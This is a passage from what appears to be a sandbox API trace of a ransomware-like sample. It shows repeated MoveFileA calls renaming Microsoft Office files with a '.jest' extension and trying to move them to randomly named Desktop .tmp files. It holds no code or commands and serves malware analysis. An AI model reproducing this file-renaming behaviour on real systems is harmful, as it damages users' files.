Colors\\Waveform.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\waveform.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sXToulxjBXT9ZC CYq5PB-adc0 M01zO-CryferBz-3PWduT2is2yDtJd3zi3_-UolONfbd7gq9Kl-917yKdGewPhka6lo0XYbjw9.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sxtoulxjbxt9zc cyq5pb-adc0 m01zo-cryferbz-3pwdut2is2ydtjd3zi3_-uolonfbd7gq9kl-917ykdgewphka6lo0xybjw9.tmp")) returned 0 [0165.085] GetLastError () returned 0x2 [0165.086] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﳉ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.087] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\COMBOBOX.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\combobox.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\COMBOBOX.JPG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\combobox.jpg.jest")) returned 1 [0165.089] VarBstrFromR4 (in: fltIn=0x47945760, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.75") returned 0x0 [0165.090] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\COMBOBOX.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\combobox.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HjQEhXvTYjmTKIxLK8ULCpdh2vxBWF2TjPOPVXECeMph6VgzRqXrWrwz9QWopBBpLZxICFFOYWuN2SWOcc e9DX2YWwB9gfq2z5u.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hjqehxvtyjmtkixlk8ulcpdh2vxbwf2tjpopvxecemph6vgzrqxrwrwz9qwopbbplzxicffoywun2swocc e9dx2ywwb9gfq2z5u.tmp")) returned 0 [0165.090] GetLastError () returned 0x2 [0165.091] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲉ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.092] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImageSmall.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsoutgoingimagesmall.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImageSmall.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsoutgoingimagesmall.jpg.jest")) returned 1 [0165.095] VarBstrFromR4 (in: fltIn=0x47945760, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.75") returned 0x0 [0165.096] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImageSmall.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsoutgoingimagesmall.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xy9GBpRv2ZbqOFsEnXGeQRnOmwwM446YM3qlkl5WlWteKm39glyLzHeqgoMly 7U-Pneq5oZeNwKm2DYwin3DHO8kuY8oPPVo4u1Z.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xy9gbprv2zbqofsenxgeqrnomwwm446ym3qlkl5wlwtekm39glylzheqgomly 7u-pneq5ozenwkm2dywin3dho8kuy8oppvo4u1z.tmp")) returned 0 [0165.096] GetLastError () returned 0x2 [0165.097] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱬ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.098] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Country.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\country.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Country.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\country.css.jest")) returned 1 [0165.100] VarBstrFromR4 (in: fltIn=0x47945760, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.75") returned 0x0 [0165.101] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Country.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\country.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OVc XMAwPjXeIUV7uvW4WNu548HXfNnsHn 5XMLy858j5Ir42 bq5BzDOoq5-amE9PWUeX3Tq_OMo5TPsGl0OAO8g7x4ol7zbYTVP.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ovc xmawpjxeiuv7uvw4wnu548hxfnnshn 5xmly858j5ir42 bq5bzdooq5-ame9pwuex3tq_omo5tpsgl0oao8g7x4ol7zbytvp.tmp")) returned 0 [0165.101] GetLastError () returned 0x2 [0165.102] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︑", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.136] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CreateSpaceImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\createspaceimage.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CreateSpaceImage.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\createspaceimage.jpg.jest")) returned 1 [0165.138] VarBstrFromR4 (in: fltIn=0x47945766, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.8") returned 0x0 [0165.140] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CreateSpaceImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\createspaceimage.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OkiRz_lWmfHU_PlgOGSbAyx5l7uk2E3K6di2-eFQ_9DNWFxbhELrJPRIsS6cba5yLfJd3vAUwCY3SO-3l3GSI95MxqdDCGr_lFt57.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\okirz_lwmfhu_plgogsbayx5l7uk2e3k6di2-efq_9dnwfxbhelrjpriss6cba5ylfjd3vauwcy3so-3l3gsi95mxqddcgr_lft57.tmp")) returned 0 [0165.141] GetLastError () returned 0x2 [0165.144] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱪ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.152] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\desert.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\desert.css.jest")) returned 1 [0165.155] VarBstrFromR4 (in: fltIn=0x47945768, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.81") returned 0x0 [0165.156] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\desert.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yNkI4uM_G3-JwTEDcznvWo8fYLGkVglktqBr573PDYblQJ_HvFOmSZCdVHtdW56DF-6xhDuGHA64hpOdZqDGa08thbhZ3He ST8U.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ynki4um_g3-jwtedcznvwo8fylgkvglktqbr573pdyblqj_hvfomszcdvhtdw56df-6xhdugha64hpodzqdga08thbhz3he st8u.tmp")) returned 0 [0165.156] GetLastError () returned 0x2 [0165.157] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱬ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.158] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\desert.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\desert.css.jest")) returned 1 [0165.161] VarBstrFromR4 (in: fltIn=0x47945768, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.81") returned 0x0 [0165.162] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\desert.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\XTlhFavGE9BdiAzo-xtriBHlqV52M_HD0ruYYxwBpqyMBkDizIHy1-KLXBpo_x728uBvFbQ8Lcp8LI_M5OvD6TdlUcei94FoMZwce.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xtlhfavge9bdiazo-xtribhlqv52m_hd0ruyyxwbpqymbkdizihy1-klxbpo_x728ubvfbq8lcp8li_m5ovd6tdlucei94fomzwce.tmp")) returned 0 [0165.162] GetLastError () returned 0x2 [0165.162] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.164] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGACCBOX.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgaccbox.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGACCBOX.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgaccbox.xml.jest")) returned 1 [0165.166] VarBstrFromR4 (in: fltIn=0x47945768, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.81") returned 0x0 [0165.167] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGACCBOX.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgaccbox.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dUvEAP6OUrFCWmlLcBS7WaAus786-vjaIpYndoHDYKGHq-gZg5b5W-59RqlchpQnqsWqF7yJkZceqpOitI0KUOsLiVb3oGAEcr3r7.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\duveap6ourfcwmllcbs7waaus786-vjaipyndohdykghq-gzg5b5w-59rqlchpqnqswqf7yjkzceqpoiti0kuoslivb3ogaecr3r7.tmp")) returned 0 [0165.167] GetLastError () returned 0x2 [0165.167] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.169] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGAD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgad.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGAD.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgad.xml.jest")) returned 1 [0165.170] VarBstrFromR4 (in: fltIn=0x4794576a, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.83") returned 0x0 [0165.171] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGAD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgad.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ge6Sg XnecRP_HMp9z8r8e0NJF8SVX4YutXqnzYY4ovyUI_7BlE8h9a2hFvOOWQyvcr4fcMv0lfS4M-its7tbPI7QNKzyVsPuiJbV.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ge6sg xnecrp_hmp9z8r8e0njf8svx4yutxqnzyy4ovyui_7ble8h9a2hfvoowqyvcr4fcmv0lfs4m-its7tbpi7qnkzyvspuijbv.tmp")) returned 0 [0165.171] GetLastError () returned 0x2 [0165.172] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.173] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGATNGET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgatnget.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGATNGET.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgatnget.xml.jest")) returned 1 [0165.175] VarBstrFromR4 (in: fltIn=0x4794576a, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.83") returned 0x0 [0165.176] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGATNGET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgatnget.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ ro1wSm1efp4Vz5thsRwwJwb8ce nKkeDL89DkS8VzpET2CGLp C21wJy 2kysA5x8vb96WGjfmuDFW5tVGnIOZRsuKxf--8gHz.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ ro1wsm1efp4vz5thsrwwjwb8ce nkkedl89dks8vzpet2cglp c21wjy 2kysa5x8vb96wgjfmudfw5tvgniozrsukxf--8ghz.tmp")) returned 0 [0165.177] GetLastError () returned 0x2 [0165.177] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.178] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBORDER.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgborder.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBORDER.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgborder.xml.jest")) returned 1 [0165.180] VarBstrFromR4 (in: fltIn=0x4794576a, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.83") returned 0x0 [0165.181] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBORDER.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgborder.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\64LonGb7vIZPtnYxReNWtjSgho5_AMT0HnDFjki2pk4ZkrXqXRteM6t wETwlMI80KfyJgcmoU8hXY7_TxQeDJRR2nXw9eWlznZQ1.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\64longb7vizptnyxrenwtjsgho5_amt0hndfjki2pk4zkrxqxrtem6t wetwlmi80kfyjgcmou8hxy7_txqedjrr2nxw9ewlznzq1.tmp")) returned 0 [0165.181] GetLastError () returned 0x2 [0165.182] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.183] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCAL.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgcal.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCAL.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgcal.xml.jest")) returned 1 [0165.184] VarBstrFromR4 (in: fltIn=0x4794576c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.84") returned 0x0 [0165.185] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCAL.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgcal.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GUpkOehLrHa4CtTwdRr6MaWoJipnWUWBX 9vU2J8D pFdQTWNqo209OZCuQeZlwV5zLjR1elIjV5AkuE_pZ8dXIN8KI2D2zbEly3N.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gupkoehlrha4cttwdrr6mawojipnwuwbx 9vu2j8d pfdqtwnqo209ozcuqezlwv5zljr1elijv5akue_pz8dxin8ki2d2zbely3n.tmp")) returned 0 [0165.186] GetLastError () returned 0x2 [0165.186] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.187] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCINFO.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgcinfo.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCINFO.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgcinfo.xml.jest")) returned 1 [0165.196] VarBstrFromR4 (in: fltIn=0x4794576c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.84") returned 0x0 [0165.198] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCINFO.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgcinfo.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BdYWLcXqCF7wuX84zCc20dt i2Asjb5FApkOUko8B46_MIZvQHG_ScUDwi hlhuZYkCeKtcFCIB_ i30sHO77QhDigIU12JimLPL.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bdywlcxqcf7wux84zcc20dt i2asjb5fapkouko8b46_mizvqhg_scudwi hlhuzykcektcfcib_ i30sho77qhdigiu12jimlpl.tmp")) returned 0 [0165.198] GetLastError () returned 0x2 [0165.198] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.229] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCOUPON.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgcoupon.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCOUPON.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgcoupon.xml.jest")) returned 1 [0165.231] VarBstrFromR4 (in: fltIn=0x47945772, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.89") returned 0x0 [0165.232] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCOUPON.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgcoupon.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\m0uT8Hl65WxcqeT8O4UTQYwK4Yi6q6zvQIDSiN_H7005gmyPWe2U2scI XSFAYb4chVoVx7UILEiibK5hEeZy2UdchtuAVFHgQBw.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\m0ut8hl65wxcqet8o4utqywk4yi6q6zvqidsin_h7005gmypwe2u2sci xsfayb4chvovx7uileiibk5heezy2udchtuavfhgqbw.tmp")) returned 0 [0165.232] GetLastError () returned 0x2 [0165.233] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.245] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGHEADING.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgheading.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGHEADING.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgheading.xml.jest")) returned 1 [0165.248] VarBstrFromR4 (in: fltIn=0x47945774, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.91") returned 0x0 [0165.249] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGHEADING.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgheading.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Dg7NDO3vr4La3EhgUxR0S7105pHB3PFD2fDcOtO4xKLGImENPpFTFse_W05ZVEigmNEs LDuU9iP4pu1bv1N2 8xsES0cSTJ1rNw.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dg7ndo3vr4la3ehguxr0s7105phb3pfd2fdcoto4xklgimenppftfse_w05zveigmnes lduu9ip4pu1bv1n2 8xses0cstj1rnw.tmp")) returned 0 [0165.249] GetLastError () returned 0x2 [0165.249] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), 